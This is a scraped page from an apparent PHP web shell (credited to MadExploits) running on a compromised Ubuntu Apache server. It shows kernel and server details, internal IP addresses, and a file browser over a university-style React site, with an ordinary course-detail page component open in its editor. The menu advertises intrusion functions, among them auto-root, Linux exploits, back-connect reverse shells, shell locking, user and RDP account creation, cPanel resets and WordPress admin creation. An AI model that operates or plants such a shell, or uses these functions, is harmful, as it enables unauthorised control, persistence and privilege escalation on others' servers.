Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cqt /
src /
pages /
[ HOME SHELL ]
Name
Size
Permission
Action
AboutPage.tsx
464
B
-rw-r--r--
AdminDashboard.tsx
6.63
KB
-rw-r--r--
AdminLogin.tsx
4.9
KB
-rw-r--r--
ContactPage.tsx
403
B
-rw-r--r--
CourseDetailPage.tsx
17.14
KB
-rw-r--r--
CoursesManager.tsx
15.6
KB
-rw-r--r--
EducationPage.tsx
23.77
KB
-rw-r--r--
Index.tsx
1.25
KB
-rw-r--r--
LabsManager.tsx
13.28
KB
-rw-r--r--
LabsPage.tsx
12.33
KB
-rw-r--r--
NewsDetailPage.tsx
10.51
KB
-rw-r--r--
NewsManager.tsx
11.66
KB
-rw-r--r--
NewsPage.tsx
11.77
KB
-rw-r--r--
NotFound.tsx
727
B
-rw-r--r--
PersonPage.tsx
1.67
KB
-rw-r--r--
PublicationsManager.tsx
12.17
KB
-rw-r--r--
PublicationsPage.tsx
15.17
KB
-rw-r--r--
ResearchDetailPage.tsx
16.93
KB
-rw-r--r--
ResearchManager.tsx
15.75
KB
-rw-r--r--
ResearchPage.tsx
14.3
KB
-rw-r--r--
TeamManager.tsx
12.4
KB
-rw-r--r--
TeamPage.tsx
781
B
-rw-r--r--
WorkshopDetailPage.tsx
19.23
KB
-rw-r--r--
WorkshopsManager.tsx
16.05
KB
-rw-r--r--
WorkshopsPage.tsx
7.63
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : CourseDetailPage.tsx
import { useParams, Link } from 'react-router-dom'; import { useCourse } from '../lib/dataLoader'; import { motion } from 'framer-motion'; import { ArrowLeft, Calendar, Clock, Users, MapPin, BookOpen, Award, CheckCircle, DollarSign, User } from 'lucide-react'; import { Card, CardContent, CardHeader, CardTitle } from '../components/ui/card'; import { Badge } from '../components/ui/badge'; import { Button } from '../components/ui/button'; export default function CourseDetailPage() { const { id } = useParams(); const { data: course, isLoading, error } = useCourse(id); if (isLoading) { return ( <div className="min-h-screen bg-background flex items-center justify-center"> <div className="text-center"> <div className="animate-spin rounded-full h-12 w-12 border-b-2 border-primary mx-auto"></div> <p className="mt-4 text-muted-foreground">Loading course details...</p> </div> </div> ); } if (error || !course) { return ( <div className="min-h-screen bg-background flex items-center justify-center"> <div className="text-center"> <h2 className="text-2xl font-bold text-foreground mb-4">Course Not Found</h2> <Link to="/education" className="text-primary hover:text-primary/80 flex items-center justify-center gap-2"> <ArrowLeft className="h-4 w-4" /> Back to Education </Link> </div> </div> ); } return ( <div className="min-h-screen bg-background"> {/* Back Button */} <div className="bg-card border-b border-border"> <div className="container mx-auto px-4 py-4"> <Link to="/education" className="inline-flex items-center gap-2 text-primary hover:text-primary/80 transition-colors" > <ArrowLeft className="h-4 w-4" /> Back to Education </Link> </div> </div> <div className="container mx-auto px-4 py-12"> {/* Header */} <motion.div initial={{ opacity: 0, y: 20 }} animate={{ opacity: 1, y: 0 }} transition={{ duration: 0.5 }} className="mb-8" > <div className="flex flex-wrap gap-2 mb-4"> <Badge variant="outline" className="text-sm">{course.code}</Badge> <Badge className={course.level === 'Undergraduate' ? 'bg-green-500/10 text-green-600 dark:text-green-400' : 'bg-primary/10 text-primary'}> {course.level} </Badge> <Badge className={ course.enrollmentStatus === 'Open' ? 'bg-green-500 text-white' : course.enrollmentStatus === 'Closed' ? 'bg-red-500 text-white' : 'bg-yellow-500 text-white' }> {course.enrollmentStatus} </Badge> {course.featured && <Badge className="bg-gradient-to-r from-accent to-primary text-white">Featured</Badge>} </div> <h1 className="text-4xl md:text-5xl font-bold text-foreground mb-4">{course.title}</h1> <p className="text-xl text-muted-foreground leading-relaxed">{course.description}</p> </motion.div> {/* Course Image */} <motion.div initial={{ opacity: 0, scale: 0.95 }} animate={{ opacity: 1, scale: 1 }} transition={{ duration: 0.5, delay: 0.1 }} className="mb-12" > <img src={course.image} alt={course.title} className="w-full h-64 md:h-96 object-cover rounded-xl shadow-lg" /> </motion.div> {/* Quick Info Cards */} <motion.div initial={{ opacity: 0, y: 20 }} animate={{ opacity: 1, y: 0 }} transition={{ duration: 0.5, delay: 0.2 }} className="grid md:grid-cols-4 gap-4 mb-12" > <Card> <CardContent className="p-6 text-center"> <Calendar className="h-8 w-8 text-primary mx-auto mb-2" /> <p className="text-sm text-muted-foreground mb-1">Semester</p> <p className="font-semibold text-foreground">{course.semester}</p> </CardContent> </Card> <Card> <CardContent className="p-6 text-center"> <Clock className="h-8 w-8 text-primary mx-auto mb-2" /> <p className="text-sm text-muted-foreground mb-1">Duration</p> <p className="font-semibold text-foreground">{course.duration}</p> </CardContent> </Card> <Card> <CardContent className="p-6 text-center"> <Award className="h-8 w-8 text-primary mx-auto mb-2" /> <p className="text-sm text-muted-foreground mb-1">Credits</p> <p className="font-semibold text-foreground">{course.credits}</p> </CardContent> </Card> <Card> <CardContent className="p-6 text-center"> <Users className="h-8 w-8 text-primary mx-auto mb-2" /> <p className="text-sm text-muted-foreground mb-1">Enrollment</p> <p className="font-semibold text-foreground">{course.enrolled}/{course.capacity}</p> </CardContent> </Card> </motion.div> <div className="grid lg:grid-cols-3 gap-8"> {/* Main Content */} <div className="lg:col-span-2 space-y-8"> {/* Instructor */} <motion.div initial={{ opacity: 0, y: 20 }} animate={{ opacity: 1, y: 0 }} transition={{ duration: 0.5, delay: 0.3 }} > <Card> <CardHeader> <CardTitle className="flex items-center gap-2"> <User className="h-5 w-5" /> Instructor </CardTitle> </CardHeader> <CardContent> <p className="font-semibold text-lg text-foreground">{course.instructor}</p> {course.coInstructors && course.coInstructors.length > 0 && ( <div className="mt-3"> <p className="text-sm text-muted-foreground mb-2">Co-Instructors:</p> <div className="flex flex-wrap gap-2"> {course.coInstructors.map((instructor: string, index: number) => ( <Badge key={index} variant="outline">{instructor}</Badge> ))} </div> </div> )} </CardContent> </Card> </motion.div> {/* Prerequisites */} {course.prerequisites && course.prerequisites.length > 0 && ( <motion.div initial={{ opacity: 0, y: 20 }} animate={{ opacity: 1, y: 0 }} transition={{ duration: 0.5, delay: 0.4 }} > <Card> <CardHeader> <CardTitle className="flex items-center gap-2"> <BookOpen className="h-5 w-5" /> Prerequisites </CardTitle> </CardHeader> <CardContent> <ul className="space-y-2"> {course.prerequisites.map((prereq: string, index: number) => ( <li key={index} className="flex items-start gap-2"> <CheckCircle className="h-5 w-5 text-primary flex-shrink-0 mt-0.5" /> <span className="text-foreground">{prereq}</span> </li> ))} </ul> </CardContent> </Card> </motion.div> )} {/* Learning Objectives */} {course.objectives && course.objectives.length > 0 && ( <motion.div initial={{ opacity: 0, y: 20 }} animate={{ opacity: 1, y: 0 }} transition={{ duration: 0.5, delay: 0.5 }} > <Card> <CardHeader> <CardTitle>Learning Objectives</CardTitle> </CardHeader> <CardContent> <ul className="space-y-3"> {course.objectives.map((objective: string, index: number) => ( <li key={index} className="flex items-start gap-3"> <div className="flex-shrink-0 w-6 h-6 rounded-full bg-primary/10 text-primary flex items-center justify-center text-sm font-semibold"> {index + 1} </div> <span className="text-foreground pt-0.5">{objective}</span> </li> ))} </ul> </CardContent> </Card> </motion.div> )} {/* Syllabus */} {course.syllabus && course.syllabus.length > 0 && ( <motion.div initial={{ opacity: 0, y: 20 }} animate={{ opacity: 1, y: 0 }} transition={{ duration: 0.5, delay: 0.6 }} > <Card> <CardHeader> <CardTitle>Course Syllabus</CardTitle> </CardHeader> <CardContent> <div className="space-y-4"> {course.syllabus.map((week: any, index: number) => ( <div key={index} className="border-l-4 border-primary pl-4 py-2"> <h4 className="font-semibold text-foreground mb-1">Week {week.week}: {week.topic}</h4> <p className="text-muted-foreground text-sm">{week.content}</p> </div> ))} </div> </CardContent> </Card> </motion.div> )} {/* Learning Outcomes */} {course.learningOutcomes && course.learningOutcomes.length > 0 && ( <motion.div initial={{ opacity: 0, y: 20 }} animate={{ opacity: 1, y: 0 }} transition={{ duration: 0.5, delay: 0.7 }} > <Card> <CardHeader> <CardTitle>Learning Outcomes</CardTitle> </CardHeader> <CardContent> <ul className="space-y-2"> {course.learningOutcomes.map((outcome: string, index: number) => ( <li key={index} className="flex items-start gap-2"> <CheckCircle className="h-5 w-5 text-green-600 dark:text-green-400 flex-shrink-0 mt-0.5" /> <span className="text-foreground">{outcome}</span> </li> ))} </ul> </CardContent> </Card> </motion.div> )} {/* Textbooks */} {course.textbooks && course.textbooks.length > 0 && ( <motion.div initial={{ opacity: 0, y: 20 }} animate={{ opacity: 1, y: 0 }} transition={{ duration: 0.5, delay: 0.8 }} > <Card> <CardHeader> <CardTitle>Textbooks & References</CardTitle> </CardHeader> <CardContent> <div className="space-y-3"> {course.textbooks.map((book: any, index: number) => ( <div key={index} className="border-l-2 border-border pl-4"> <p className="font-medium text-foreground">{book.title}</p> <p className="text-sm text-muted-foreground">{book.authors}</p> <Badge variant={book.required ? "default" : "outline"} className="mt-1"> {book.required ? "Required" : "Reference"} </Badge> </div> ))} </div> </CardContent> </Card> </motion.div> )} {/* Assessment Methods */} {course.assessmentMethods && course.assessmentMethods.length > 0 && ( <motion.div initial={{ opacity: 0, y: 20 }} animate={{ opacity: 1, y: 0 }} transition={{ duration: 0.5, delay: 0.9 }} > <Card> <CardHeader> <CardTitle>Assessment Methods</CardTitle> </CardHeader> <CardContent> <div className="grid sm:grid-cols-2 gap-4"> {course.assessmentMethods.map((method: any, index: number) => ( <div key={index} className="flex items-center justify-between p-3 bg-muted/30 rounded-lg"> <span className="text-foreground">{method.type}</span> <Badge>{method.weight}</Badge> </div> ))} </div> </CardContent> </Card> </motion.div> )} </div> {/* Sidebar */} <div className="space-y-6"> {/* Enrollment Card */} <motion.div initial={{ opacity: 0, x: 20 }} animate={{ opacity: 1, x: 0 }} transition={{ duration: 0.5, delay: 0.3 }} > <Card className="sticky top-24"> <CardHeader> <CardTitle>Enrollment Information</CardTitle> </CardHeader> <CardContent className="space-y-4"> <div className="flex items-center gap-2 text-foreground"> <MapPin className="h-5 w-5 text-muted-foreground" /> <div> <p className="text-sm text-muted-foreground">Location</p> <p className="font-medium">{course.location}</p> </div> </div> <div className="flex items-center gap-2 text-foreground"> <Clock className="h-5 w-5 text-muted-foreground" /> <div> <p className="text-sm text-muted-foreground">Schedule</p> <p className="font-medium">{course.schedule}</p> </div> </div> {course.fees && ( <div className="flex items-center gap-2 text-foreground"> <DollarSign className="h-5 w-5 text-muted-foreground" /> <div> <p className="text-sm text-muted-foreground">Course Fees</p> <p className="font-medium">{course.fees}</p> </div> </div> )} {course.applicationDeadline && ( <div className="flex items-center gap-2 text-foreground"> <Calendar className="h-5 w-5 text-muted-foreground" /> <div> <p className="text-sm text-muted-foreground">Application Deadline</p> <p className="font-medium">{new Date(course.applicationDeadline).toLocaleDateString('en-US', { year: 'numeric', month: 'long', day: 'numeric' })}</p> </div> </div> )} <div className="pt-4 border-t"> <Button className="w-full" disabled={course.enrollmentStatus !== 'Open'} size="lg" > {course.enrollmentStatus === 'Open' ? 'Enroll Now' : course.enrollmentStatus === 'Closed' ? 'Enrollment Closed' : 'Join Waitlist'} </Button> </div> </CardContent> </Card> </motion.div> {/* Tags */} {course.tags && course.tags.length > 0 && ( <motion.div initial={{ opacity: 0, x: 20 }} animate={{ opacity: 1, x: 0 }} transition={{ duration: 0.5, delay: 0.4 }} > <Card> <CardHeader> <CardTitle>Topics Covered</CardTitle> </CardHeader> <CardContent> <div className="flex flex-wrap gap-2"> {course.tags.map((tag: string, index: number) => ( <Badge key={index} variant="secondary">{tag}</Badge> ))} </div> </CardContent> </Card> </motion.div> )} </div> </div> {/* Back to Top Button */} <div className="mt-12 text-center"> <Link to="/education"> <Button variant="outline" size="lg"> <ArrowLeft className="h-4 w-4 mr-2" /> Back to All Courses </Button> </Link> </div> </div> </div> ); }
Close